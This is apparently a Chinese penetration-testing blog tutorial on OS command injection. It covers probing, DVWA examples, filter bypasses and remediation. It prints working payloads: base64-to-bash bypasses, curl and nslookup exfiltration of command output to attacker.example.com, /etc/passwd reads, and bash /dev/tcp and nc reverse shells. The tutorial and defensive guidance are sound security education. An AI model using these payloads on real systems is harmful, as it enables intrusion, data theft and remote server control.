翻了一下实验记录上周在内网做授权测试时卡在一个输入框上页面功能叫“网络连通性检测”我随手把参数改成127.0.0.1|whoami结果服务器直接把用户列表给我打回来了。这种操作在靶场里常见但真实项目里遇到时还是会让人心头一紧——这就是典型的命令注入漏洞。这期皮皮宋渗透日记我想把命令注入从原理到利用、从绕过到修复完整拆开讲一遍内容覆盖Web渗透中的常见注入入口、探测思路、过滤绕过、无回显利用以及最终如何写进漏洞报告并推动研发修复。1. 为什么一段URL参数会变成服务器上的系统命令命令注入Command Injection听起来玄乎本质上就一句话应用把用户可控的内容拼进了交给操作系统shell执行的命令里shell又恰好把其中一部分当成了命令来执行。理解这件事的关键不在“注入”两个字而在“shell如何解析字符串”。1.1 从一个经典的危险代码出发先看一段用PHP写的极简示例$ip $_GET[ip]; system(ping -c 1 . $ip);这段代码的目标很简单接收用户传入的IPping它一下然后把结果输出到页面上。问题在于system()函数会把整个字符串丢给shell正常情况下你传入127.0.0.1shell执行的是ping -c 1 127.0.0.1没问题。但如果我传入的是127.0.0.1; whoami那shell实际拿到的是ping -c 1 127.0.0.1; whoami分号在shell里是命令分隔符意思就是先执行前面的ping再执行后面的whoami。于是服务器当前用户的身份就这样被你拿到了。更夸张一点传127.0.0.1|cat /etc/passwd管道符号会直接把前一个命令的输出作为后一个命令的输入但这里更关键的是shell会先执行cat /etc/passwd再无论如何都把输出交出来。开发者的本意是“拼接IP”但shell眼里没有“变量”和“常量”的区别只有一段需要解析的字符串。这是命令注入和很多漏洞不一样的地方它利用的不是某个函数写得不对而是整个应用中“命令执行边界”没有守好。1.2 命令注入发生的两个必要条件我做了这么多年Web渗透总结下来命令注入能在真实项目中成立几乎都绕不开两个条件用户的输入会流到某个命令执行函数或系统调用中。比如PHP的system()、exec()、shell_exec()、passthru()Java的Runtime.getRuntime().exec()Python的os.system()、subprocess.Popen(..., shellTrue)Node的child_process.exec()等。输入没有经过有效隔离直接拼进了命令字符串。很多系统命令执行的姿势天然接收一个字符串而字符串拼接又是最直白的写法出问题几乎不可避免。这俩条件缺一个都不会有命令注入。你就算调用了system()但传入的内容是写死的没有用户输入参与那顶多算设计问题算不上漏洞。反过来也一样有用户输入但用了exec([ping, -c, 1, $ip])这种参数数组方式或者严格校验了IP格式那shell根本拿不到额外指令。1.3 命令注入和SQL注入、代码注入到底差在哪很多刚入门的朋友会把命令注入、SQL注入、代码注入混为一谈觉得都是“拼进去了”。但它们的目标和影响范围差别很大漏洞类型注入目标执行环境常规危害命令注入操作系统命令shell解释器直接执行系统命令可能获得服务器控制权SQL注入SQL查询语句数据库引擎拖库、篡改数据、在某些场景下能提权到系统层代码注入编程语言代码应用运行时如PHP eval在应用上下文里执行任意代码命令注入最危险的一点就是它直接跳过了应用层的权限体系让攻击者在操作系统层面干活。SQL注入通常还要考虑数据库权限、udf提权这些条件但命令注入是拿Web服务进程的身份直接执行命令真实场景里这个进程往往权限还不低。明白了这层差异你才会理解为什么漏洞评级里命令注入经常被直接定为高危甚至严重。2. 命令注入入口探测实战中我是怎么一步步确认的命令注入的利用比SQL注入更依赖“功能判断”。你不可能一上来就对着每个参数塞payload那样效率太低还容易被WAF拦。我习惯先看功能再试payload最后确认回显整套流程基本可以控制在几分钟内。2.1 哪些功能最常藏命令注入命令注入不是随便哪个输入框都有的它要求后端真的去调用了系统命令。实战里最容易出现的位置大致有这些网络诊断类比如ping检测、traceroute、nslookup、域名连通性检查这类功能十有八九会把用户输入的IP或域名拼到系统命令里日志分析与导出比如根据用户传入的关键字去Linux服务器上grep日志再输出匹配结果文件打包与解压比如站点后台提供“打包下载日志”功能传入文件名后执行tar或zip计划任务管理比如某些简易管理后台允许设置cron表达式并把表达式直接拼接进crontab命令DNS/证书校验工具比如提交域名后后端执行dig、openssl等命令进行校验。如果你在入口测试时看到这类功能就应该提高警惕与其找一个普通参数盲扫不如集中火力测这些“天然会拼命令”的点。2.2 探测命令注入的四个步骤我推荐按下面的顺序做初步探测每一步都尽量留好记录方便后续写报告时还原基线请求。先构造一个正常输入比如127.0.0.1观察返回内容、响应时间、报错信息确认功能是否可用以及输出是怎么回显的。注入分隔符试探。在原始值后面追加各种命令分隔符比如;、|、||、、$()、反引号、换行%0a等。单引号最好多试几个因为不同过滤规则对不同符号的处理差别很大。加一条无伤大雅的命令。比如127.0.0.1; id、127.0.0.1|whoami目的不是立刻攻击而是确认“命令是否有被执行”。确认并收敛。如果回显里出现了命令输出就要进一步做参数边界测试确认到底是命令注入还是仅仅“输入回显”。比如输入127.0.0.1|whoami和输入127.0.0.1|whoami||看输出变化排除页面单纯把参数打回来的情况。这里有个容易被忽略的细节有些场景下你的输入被HTML编码了payload里的分号、管道会被转成%3B、%7C导致测试看起来“没反应”。所以无论用什么工具记得先确认发送的原始报文里符号没有被额外编码。2.3 DVWA靶场上的实际复现以DVWA的命令注入模块为例正好对应三种过滤级别非常适合把探测思路走一遍。Low级别的源码基本就是裸拼接$cmd shell_exec(ping . $ip);所以输入127.0.0.1|whoami就能直接看到输出。Medium级别则做了简单过滤$substitutions array( , ; , ); $cmd str_replace(array_keys($substitutions), $substitutions, $cmd);它只过滤了和;但|没有被过滤所以127.0.0.1|whoami依然可以执行。这里想提醒的是很多filter只防住了“已知符号”在实际项目中你很难判断它过滤了什么所以探测时几个符号都要覆盖不能试了一种就放弃。从靶场回到真实项目同样的思路依然成立先判断“这个参数是否进了命令”再判断“过滤规则绕不绕得过去”。如果你在真实系统里确认了命令注入立刻暂停自动化爆破转为手工验证因为命令注入的下一步利用通常需要精确控制。3. 面对过滤规则命令注入怎么绕过很多系统不会裸着拼接命令研发多少知道一点安全知识所以会加上各种过滤。但现实中的过滤常常只做了一半渗透测试的价值也在这里绕过不是炫技而是验证边界到底守没守住。3.1 黑名单过滤常见的三种形态只过滤分隔符去掉;、、|但忘了%0a换行或$()命令替换只过滤关键命令把cat、whoami、ls等直接拉黑但没限制参数拼接只过滤空格不让输入空格但IFS、Tab这类替代方法没处理。搞清它是哪种过滤比你盲目试几百个payload更有用。我一般会先发一个异常请求比如127.0.0.1|||看报错是“非法字符”还是“命令未找到”以此判断过滤发生在应用层还是shell层。3.2 空格被过滤IFS是不是万能钥匙空格是命令行的基本分隔符很多WAF会优先拦截它。绕过的经典手法是用shell内部的字段分隔符IFSLinux下默认是空格。cat${IFS}/etc/passwd cat$IFS$9/etc/passwd$IFS$9这种写法是因为$IFS后面跟紧字母或数字时容易歧义加个$9把它隔开。此外Tab字符在shell里也等同于空格实际请求里可以试试%09cat%09/etc/passwd有些环境还支持用输入重定向代替空格比如cat/etc/passwd。空格过滤能拦一堆新手的payload但对熟悉shell的人来说它基本形同虚设。3.3 关键字被过滤拆字、编码和通配符当过滤规则把cat、whoami这类命令直接拉黑时思路就不能停在“换个词”而是要想办法让原命令在shell执行前“组装”回来。拆字拼接是Linux shell自带的能力cat /etc/passwd cat /etc/passwd c\at /etc/passwdshell解析时会自动把引号、反斜杠视为语法而不是字符最后执行的还是cat /etc/passwd。很多过滤规则是用字符串匹配去黑名单的看到cat匹配不到cat就放行了。编码管道是更通用的办法比如用base64把命令编码后再交给shell解码执行echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash这条命令里的关键字是echo、base64、bash如果你的payload里写了cat /etc/passwd编码后原始payload里就只有一串字母数字和符号黑名单很难命中。通配符也能干扰关键字匹配。比如cat /etc/passwd可以写成cat /e??/passwd甚至/???/??? /etc/passwd。不过通配符的可用性和bash版本有关系真实环境里不如前两种稳定。3.4 没有回显怎么办最头疼的情况不是过滤多而是页面压根不回显命令输出。很多后台功能只返回“执行成功”或“操作失败”你连id的结果都看不到。这种场景下我会优先考虑三种带外通道延时判断。注入 sleep 5如果响应时间明显增加说明命令被成功执行了这是盲注里最省事的方法。写文件再读取。把命令输出重定向到web目录或临时目录比如ls /tmp /var/www/html/out.txt然后再通过浏览器访问out.txt拿结果。前提是你知道web根目录和可写路径。HTTP/DNS外带。通过curl请求外部服务器或通过nslookup把命令结果拼到域名里带出来。比如curl http://attacker.example.com/$(whoami) nslookup $(whoami).attacker.example.com这两种方式都会在HTTP日志或DNS日志里留下命令结果的记录。外带通道在渗透测试里非常有用但要注意公网外带需要你有一个可控的服务器而且如果目标内网没有出网流量这种方式会直接失效。3.5 从命令注入到反弹Shell有回显的命令注入可以直接执行读写和提权操作但要做更深入的内网渗透时一条稳定的Shell通道比一条条命令手动执行高效得多。常见姿势是用bash反弹bash -i /dev/tcp/10.0.0.1/4444 01或者用ncnc -e /bin/bash 10.0.0.1 4444这类payload的难点在于它里面包含大量特殊字符和关键词容易被WAF拦截。一个常见思路是把反弹命令用base64编码后解码执行或者拆成多段变量再拼起来。这里还是要强调一句以上操作必须在合法授权范围内进行拿到的是测试目标自己搭建或授权的环境。4. 修复与收尾漏洞报告之外的工程化思考命令注入漏洞的修复不是“把危险字符替换掉”那么简单。我见过不少团队觉得加个str_replace就算修复了结果换一种绕过方式又被打穿。真正可靠的修复思路是把“执行系统命令”这层边界直接收敛而不是和攻击者在黑名单上斗智斗勇。4.1 代码层怎么修最彻底的方案当然是不要用字符串拼接去调用系统命令。如果业务确实需要调用外部程序我建议按优先级做参数白名单。能枚举的内容全部枚举比如网络连通性检测的IP范围、域名格式先通过正则或列表校验不合法直接拒绝。用exec的参数数组形式。PHP的exec()、Python的subprocess.run()、Node的child_process.spawn()都支持把命令和参数分开传这样shell就不会解析参数里的特殊字符。以PHP为例$out []; exec(/bin/ping -c 1 . escapeshellarg($ip), $out);escapeshellarg()会给参数加上单引号并转义内部引号比单纯过滤安全很多。但注意它并不是百分百保险最稳的还是不用字符串拼接。尽量禁用直接shell执行的函数。像PHP的system()、shell_exec()、passthru()、popen()Python的os.system()、os.popen()如果项目中根本没用到可以直接在php.ini或运行容器里禁用。很多WAF规则是在网络层做拦截但函数层面的禁用是从源头把口子堵死。4.2 自动化扫描与人工验证怎么配合不少团队会依赖漏洞扫描工具来发现这类问题比如GVM、Nessus、AWVS或者用Burp Suite的插件做手动验证。自动化工具的价值在于覆盖面广但命令注入这个东西误报和漏报率都不低。工具扫到一个“疑似命令注入”的请求时通常只是因为它看到响应里出现了uid之类的内容或者构造了延时payload并观察到超时。我一般会做两个动作把工具输出的原始请求和响应调出来人工复现一遍确认输出确实是命令的真正执行结果而不是页面把参数原样打印出来构造一个只属于当前环境的“指纹命令”比如echo 8d3f1a如果响应里出现了这段随机值才算是确凿证据。还有一点很多命令注入发生在API接口里不是Web页面自动化扫描器往往覆盖不到。如果你是渗透测试工程师经验就是扫描结果只能当线索不能当结论。4.3 应急响应里怎么发现痕迹防守端同样需要了解命令注入的痕迹形态。我在一次应急响应里看到服务器日志中有一串%0aid的请求Web层根本不会报错但访问日志里留下了异常参数操作系统日志里还能找到对应的bash进程启动记录。这类漏洞的执行痕迹通常有几个特征访问日志里出现大量URL编码的特殊符号比如%3B、%7C、%0A服务器上多出异常文件比如/tmp目录下的脚本文件进程列表里能看到被拉起的不明bash、curl、wget进程历史命令~/.bash_history被清空或篡改。应急响应的处理原则是“先隔离再分析”先把出网流量断掉再回溯访问日志确认攻击者到底执行了哪些命令。命令注入的高危性质决定了它经常是攻击链的第一环后面还跟着提权和内网横移所以发现后要尽快把权限收回到最小范围并检查同一网段内其他机器有没有被横向渗透。整体来看命令注入是一个“看似简单但影响极大”的漏洞。它不需要复杂的反序列化链不需要绕过Java沙箱只要应用把用户输入丢给了shell你就能拿到一台服务器的执行权限。作为渗透测试人员每次遇到这类功能我都不会轻易放过作为开发人员记住一条原则就够了永远不要让用户的字符串直接变成shell的一部分。我个人在写报告时最推荐放一个完整的复现链路截图加一段修复建议这比堆砌一堆扫描报告更能让研发团队真正重视这个问题。
企业数字化 ERP 产品动态
相关推荐
msModelSlim常见问题20问:FAQ终极汇总帮你避开量化路上的所有坑 msModelSlim常见问题20问:FAQ终极汇总帮你避开量化路上的所有坑 【免费下载链接】MindStudio-ModelSlim MindStudio-ModelSlim(msModelSlim)是MindStudio全流程工具链推出的模型量化压缩工具。 项目地址: https://gitcode.com/Ascend/msmod… · 2026/9/25 2:22:24
PaddleSpeech 中 ERNIE-SAT 跨语言语音合成与语音编辑实战:基于 VCTK 数据集的完整训练、合成与编辑指南 人工智能语音音频 【免费下载链接】PaddleSpeech Easy-to-use Speech Toolkit including Self-Supervised Learning model, SOTA/Streaming ASR with punctuation, Streaming TTS with text frontend, Speaker Verification System, End-to-End Speech Translation and Keyword… · 2026/9/25 2:22:24
计算机网络实验报告:小型校园网设计与组建全流程 简介:东北大学《计算机网络实验》课程报告《小型校园网的设计与组建》是一份面向计算机专业学生的完整实验方案,围绕总校与分校两大校区、三台PC机构成的网络模型,系统演练网络结构设计、C类网段规划与设备调试等核心环节。报告给出了210.100… · 2026/9/25 2:57:41
OBS推流失败的三层依赖结构与硬核排障指南 1. 为什么你装完OBS却推不出流?——从安装失败到黑屏无声的底层逻辑很多人点开OBS官网下载安装包,双击一路“下一步”,界面一出来就急着点“开始推流”,结果弹出红色报错框:“无法连接到服务器”“编码器初始化失败”“… · 2026/9/25 2:57:41
Docker新手入门指南:从零掌握容器化技术与Ubuntu实战 简介:这份《Docker 新手入门指南:从零开始掌握容器化技术》面向缺乏容器化经验的新手开发者与运维人员,帮助读者从概念到实战系统掌握 Docker。内容涵盖容器与虚拟机的差异对比、Ubuntu 环境下的安装与用户组配置、镜像与容器生命周期管理、调… · 2026/9/25 2:57:41
JSP教务设备报修系统实战部署与避坑指南 简介:本资源是一套面向高校计算机专业本科生的毕业设计完整交付包,聚焦教学设备报修场景,解决教师报修流程繁琐、学生报修入口不统一等实际管理痛点。系统基于JSPMySQL开发,采用B/S架构,具备用户注册、报修提交、状态查… · 2026/9/25 2:57:41
PPP协议精讲:从链路建立到PPPoE拨号与故障排查实战 1. PPP协议为什么到现在还没被淘汰1.1 “点对点”这个特性到底意味着什么在接手网络运维之前,我对PPP协议的理解一直停留在教科书里那几行字:Point-to-Point Protocol,点对点协议。直到在HoRain云这边做专线接入梳理时,我才发现自… · 2026/9/25 2:57:35
创维E900V22D刷机全攻略:S905L3SB芯片兼容性解析与救砖实战 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:31
MQTT协议原理与Broker服务器搭建实战:从Mosquitto到EMQX /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:37